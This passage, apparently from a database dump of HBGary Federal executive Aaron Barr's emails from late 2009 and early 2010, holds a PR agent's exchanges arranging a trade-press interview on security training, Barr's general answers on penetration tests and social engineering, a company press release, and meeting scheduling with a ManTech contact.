his\r\n tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. &nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. &nbsp; \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 karenmaryburke@yahoo.com&nbsp; --- On Mon, 12/28/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 4:13 PM\r\nOk, thanks.&nbsp; \r\n\r\n\r\n\r\nOn Dec 28, 2009, at 5:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just to reconfirm, Aaron will call you tomorrow, Tuesday Dec. 29th&nbsp;at 10 AM ET. I will be on the call as well.&nbsp;Best, Karen--- On Wed, 12/23/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"John Moore\" &lt;jmwriter@twcny.rr.com&gt;Date: Wednesday, December 23, 2009, 1:36 PM\r\n\r\n\r\n\r\n\r\nGreat -- thanks so much John. Best, Karen--- On Wed, 12/23/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, December 23, 2009, 6:51 AM\r\nThat time works.&nbsp; \r\n\r\nI\'m mainly interested in the second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\nI\'ll be at (315) 488-8111.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 6:49 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nGreat, John -- how about 10 AM ET on Tuesday? If you can, please&nbsp;send over some sample questions, or Aaron can just elaborate in more detail on his points below. He will plan to call you if that is convenient -- please just send your number. Best, Karen&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 12:06 PM\r\nAny time between 8:00 a.m. and 11:00 a.m. ET will work on Tuesday.&nbsp; \r\n\r\n\r\n\r\nOn Dec 22, 2009, at 2:17 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Aaron will be on vacation next week, but is&nbsp;very interested in speaking&nbsp;to you!&nbsp;Please suggest a few times for Tuesday and I\'ll reconfirm final time with Aaron. Best, Karen&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 10:40 AM\r\n\r\n\r\nKaren:\r\n\r\nWould he have any time to talk on the 28th or 29th?\r\n\r\n\r\nOn Dec 21, 2009, at 2:52 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John, If you need an expert for this story, HBGary Federal CEO Aaron Barr would be a great resource for you. Among the topics he can discuss: \r\n&nbsp;\r\n&nbsp;\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nAbout HBGary Federal and CEO Aaron Barr \r\nHBGary Federal recently launched to focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. Prior to joining HBGary Federal, Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. \r\n&nbsp;\r\n&nbsp;\r\nPlease let me know if you would like to talk to Aaron. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764\r\n&nbsp;\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, December 18, 2009, 7:28 AM\r\n\r\nI\'m writing the security feature for the Jan. 25 issue. The topic is end user IT security training. How do organizations measure the impact of training and whether employees are following through (adhering to agency security policies).&nbsp; \r\n\r\nJohn\r\n\r\n\r\n\r\nOn Dec 14, 2009, at 2:24 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just wanted to check back -- has this story been assigned? Thanks, Karen--- On Thu, 12/10/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Question re Cybersecurity storyTo: jmwriter@twcny.rr.comDate: Thursday, December 10, 2009, 3:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi John, Can you please tell me who is working on the upcoming cybersecurity story slated for January? I am working with a few security companies who might be a good fit. Thanks, Best, Karen&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11824,'aaron_hbgary_com/11824.html'),(938,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000154.M544225P3547Q939.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Question re Cybersecurity story','Begin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 5, 2010 9:29:39 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Question re Cybersecurity storyThanks very much Aaron -- I\'ll send over to John now and let you know if he has any further questions. Best, Karen&nbsp;--- On Mon, 1/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 11:20 PM\r\n1. &nbsp;That is partially correct. &nbsp;Typically Penetration Tests are conducted by external resources. &nbsp;Some organizations are large enough, say the Army for example, they have Pen teams that conduct these tests for various organizations within the Army. &nbsp;These teams may be comprised of a mixture of military and contractor personnel. &nbsp;For most small organizations/companies this work is typically hired out. &nbsp;In some cases organizations will try to do this themselves by reading up on certain Pen testing tools and techniques, but this is never a good idea. &nbsp;Pen tests typically are focused on penetrating the perimeter of an organizations networks. &nbsp;This usually does not involve any social engineering or other techniques that involve employees. &nbsp;Pen testing is typically a blind attack against the infrastructure using a variety of techniques and tools to bypass perimeter security; password crackers,\r\n IP and port scanners, web and application exploit tools. &nbsp;Vulnerability Assessments and tiger teams can either be internal or external teams that review policies, conduct interviews, review logs, test network and system security postures, and in some cases conduct social engineering to test the vulnerability of the employees to reveal information that could lead to access of unauthorized systems and information. &nbsp;In a healthy organization both of these types of tests should be built in to the security policies and procedures. &nbsp;The results of these tests should be tightly integrated into assessment of the training program of the organization as well as the implementation of security policies and procedures.\r\n\r\n2. &nbsp;If social engineering is allowed then there are a wide variety of techniques that are used but typically start in the same manner as an external penetration attack. &nbsp;The first thing an assessor will do is get to know the organization as best he/she can through publicly available information, this could include information on the companies website, thrown in the trash, or left laying on desks and in drawers. &nbsp;The parameters of a social engineering test are carefully defined based on the goals of the test, whether it is to simulate an external or insider threat, etc. &nbsp;Once the assessors have enough information they start to probe the organization for weaknesses in practice and judgement, this could be through spear phishing attacks, targeted phone calls, etc.\r\n\r\n3. &nbsp;Like everything else there are a variety of reasons why an organization would deny social engineering. &nbsp;Most IT security specialists know very well that people are the weakest link of computer systems and usually socially engineering attacks are successful, so some companies don\'t see the point in testing something they know will fail and potentially create legal issues or a negative work environment for employees. &nbsp;In short most organizations are afraid to conduct social engineering tests. &nbsp;This is an unfortunate perception. &nbsp;If properly integrated into an organizations training program there is a lot of valuable lessons that will be ingrained based on personal experiences. &nbsp;The best lessons are those either personally experienced or experience by people around us.\r\n\r\n4. &nbsp;My recommendation is for a more robust IT security training program that provides more immersive information that is embedded and organic to the organization, not just posters on the wall and a once a year multiple choice web based exam. &nbsp;There should be quarterly vulnerability assessments conducted internally by the IT security staff, with yearly external vulnerability assessments. &nbsp;Penetration tests should be conducted as needed, but at least once a year or when significant changes are made to the IT security infrastructure. &nbsp;This could be adding new functionality to the corporate website, employee portals, dmz, firewall rules, additional perimeter hardware/software, etc.\r\n\r\nHappy to provide further information if any areas seem unclear.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 5:37 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, FCW editor John Moore has some followup questions based on his interview with you last week. Please keep your&nbsp;answers short and&nbsp;know that they may be used as quotes from you in the article. \r\n&nbsp;\r\nPlease send final answers to me and then I\'ll pass on to John. John asked if you could provide the answers by EOD Tuesday (tomorrow) if possible. If you need more time, please let me know and I\'ll check with John. Thanks! Best, Karen&nbsp;--- On Mon, 1/4/10, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 2:15 PM\r\n\r\nKaren:\r\n\r\nI have a couple of follow-up questions for Aaron Barr:\r\n\r\n* From the interview, it\'s my understanding that penetration tests are typically performed by external consultants and probe an organization\'s perimeter security. Testers may acquire usernames/passwords in the process (through password guessing tools?). Vulnerability assessment tiger teams, meanwhile, consist of internal IT staff. The team scrutinizes an organization\'s security policies and procedures and may engage in social engineering, if permitted. Is that the correct distinction?\r\n\r\n* How do tiger teams pursue social engineering attacks? Do they simulate phishing scams to see if they can extract passwords? Do they phone end users? Both?&nbsp;\r\n\r\n* Why do some organizations prohibit social engineering as part of tiger team assessments?&nbsp;\r\n\r\n* The insight gained from penetration tests/tiger teams (the number of passwords obtained and how they were obtained, for example) can be integrated back into an agency\'s training program. So, in other words, an agency might emphasize phishing awareness if many users fall for scams?&nbsp;\r\n\r\n* Just to clarify, Aaron recommends quarterly tiger team vulnerability assessments and annual external penetration tests -- is that correct?\r\nRegards,\r\n\r\nJohn&nbsp;\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 11:04 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi John, In case you wanted to see some background on HBGary Federal and Aaron Barr, I sent you the recent release below. Best, Karen\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nFor Immediate Release \r\n&nbsp; \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies &nbsp; \r\nNew Venture Led By Cybersecurity Experts and Former&nbsp;Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera &nbsp; \r\nSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. &nbsp; \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. &nbsp; \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” &nbsp; \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. &nbsp; \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and\r\n Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; &nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp;\r\n HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. &nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. &nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as\r\n an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. &nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program\r\n manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his\r\n tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. &nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. &nbsp; \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 karenmaryburke@yahoo.com&nbsp; --- On Mon, 12/28/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 4:13 PM\r\nOk, thanks.&nbsp; \r\n\r\n\r\n\r\nOn Dec 28, 2009, at 5:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just to reconfirm, Aaron will call you tomorrow, Tuesday Dec. 29th&nbsp;at 10 AM ET. I will be on the call as well.&nbsp;Best, Karen--- On Wed, 12/23/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"John Moore\" &lt;jmwriter@twcny.rr.com&gt;Date: Wednesday, December 23, 2009, 1:36 PM\r\n\r\n\r\n\r\n\r\nGreat -- thanks so much John. Best, Karen--- On Wed, 12/23/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, December 23, 2009, 6:51 AM\r\nThat time works.&nbsp; \r\n\r\nI\'m mainly interested in the second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\nI\'ll be at (315) 488-8111.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 6:49 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nGreat, John -- how about 10 AM ET on Tuesday? If you can, please&nbsp;send over some sample questions, or Aaron can just elaborate in more detail on his points below. He will plan to call you if that is convenient -- please just send your number. Best, Karen&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 12:06 PM\r\nAny time between 8:00 a.m. and 11:00 a.m. ET will work on Tuesday.&nbsp; \r\n\r\n\r\n\r\nOn Dec 22, 2009, at 2:17 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Aaron will be on vacation next week, but is&nbsp;very interested in speaking&nbsp;to you!&nbsp;Please suggest a few times for Tuesday and I\'ll reconfirm final time with Aaron. Best, Karen&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 10:40 AM\r\n\r\n\r\nKaren:\r\n\r\nWould he have any time to talk on the 28th or 29th?\r\n\r\n\r\nOn Dec 21, 2009, at 2:52 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John, If you need an expert for this story, HBGary Federal CEO Aaron Barr would be a great resource for you. Among the topics he can discuss: \r\n&nbsp;\r\n&nbsp;\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nAbout HBGary Federal and CEO Aaron Barr \r\nHBGary Federal recently launched to focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. Prior to joining HBGary Federal, Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. \r\n&nbsp;\r\n&nbsp;\r\nPlease let me know if you would like to talk to Aaron. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764\r\n&nbsp;\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, December 18, 2009, 7:28 AM\r\n\r\nI\'m writing the security feature for the Jan. 25 issue. The topic is end user IT security training. How do organizations measure the impact of training and whether employees are following through (adhering to agency security policies).&nbsp; \r\n\r\nJohn\r\n\r\n\r\n\r\nOn Dec 14, 2009, at 2:24 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just wanted to check back -- has this story been assigned? Thanks, Karen--- On Thu, 12/10/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Question re Cybersecurity storyTo: jmwriter@twcny.rr.comDate: Thursday, December 10, 2009, 3:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi John, Can you please tell me who is working on the upcoming cybersecurity story slated for January? I am working with a few security companies who might be a good fit. Thanks, Best, Karen&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11596,'aaron_hbgary_com/11596.html'),(939,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000154.M743364P3547Q940.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','Sounds good.  1030 your office?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 5, 2010, at 6:29 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron I can meet on wed about 1030, maybe we can do lunch\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, January 01, 2010 6:28 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> Hey Alex,\r\n> \r\n> What is your schedule like the first few weeks of the new year?\r\n> \r\n> Happy New Year,\r\n> Aaron\r\n> \r\n> On Dec 15, 2009, at 8:09 AM, Nieves, Alexander wrote:\r\n> \r\n>> Aaron im sorry but Friday just got slammed with customer last minute\r\n>> appt. how about next Tuesday? \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, December 14, 2009 9:00 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> Hi Alex,\r\n>> \r\n>> Friday 1-2 sounds good if your still available.  I will come to you.\r\n>> Let me know if you just want to talk for a bit.  I can at a high level\r\n>> discuss HBGary tools and capabilities.  If you want a demo of the new\r\n>> products, Responder, Digital DNA, and Recon I would have to bring an\r\n>> engineer.  If you just want to talk a bit first we can always set up a\r\n>> demo if your interested after the new year.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n>> \r\n>>> I can do next Friday from 1-2pm, but I would have to ask you to meet\r\n>> me\r\n>>> in Herndon office where bill Varner sits. I will have a meeting there\r\n>>> that ends at 1pm. Let me know if this will work\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Thursday, December 10, 2009 1:38 PM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Re: Discussion\r\n>>> \r\n>>> How is your next Friday?  I am open.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n>>> \r\n>>>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>>>> look at another date. Next week is pretty busy also it\'s the week we\r\n>>>> spend on strategy and operations reviews. Let me look at what might\r\n>> be\r\n>>>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>>>> between 1100-1300 time frame for next week. thanks\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>>>> To: Nieves, Alexander\r\n>>>> Subject: Re: Discussion\r\n>>>> \r\n>>>> How does Friday look Alex?  If it\'s no good I can meet with you\r\n> maybe\r\n>>>> late next week to go over things and we can catch Greg his next trip\r\n>>>> out.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>>>> >>>> wrote:\r\n>>>> \r\n>>>>> Aaron im trying to move some appts around so we can meet so let me\r\n>>> see\r\n>>>>> what I can do for this week?\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>>>> To: Nieves, Alexander\r\n>>>>> Subject: Discussion\r\n>>>>> \r\n>>>>> Hi Alex,\r\n>>>>> \r\n>>>>> I was wondering if you would be interested in getting together next\r\n>>>>> week\r\n>>>>> to talk about my new role, what we might be able to do together and\r\n>>>>> get\r\n>>>>> a brief on the latest HBGary and Mantech capabilities?  Greg\r\n> Hoglund\r\n>>>>> will be in town and of course does the best job conveying the\r\n>>>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>>>> their\r\n>>>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>>>> does\r\n>>>>> behavior/characteristic identification of malware based on HBGarys\r\n>>>>> Malware genome database.  So far its 75% successful at detecting\r\n> all\r\n>>>>> malware we throw at it, as the genome database gets larger that\r\n>>> should\r\n>>>>> get better, but already pretty good.\r\n>>>>> \r\n>>>>> Another idea I am starting to form is a combined capability that I\r\n>>>>> think\r\n>>>>> can push the rock a little on Attribution.  I am not sure if you\r\n> are\r\n>>>>> familiar with Palantir.  Their main focus in link analysis, and\r\n>> their\r\n>>>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>>>> externals analysis with HBGarys capability for malware binary\r\n>>> analysis\r\n>>>>> and fingerprinting and start doing some long term analysis and\r\n>>>>> correlation of attacks.  I think this approach could push the\r\n>>>>> Attribution rock forward a little.\r\n>>>>> \r\n>>>>> I know you guys are in the \"forensics\" space but would really like\r\n>> to\r\n>>>>> talk about what that really means, also share where we are going\r\n> 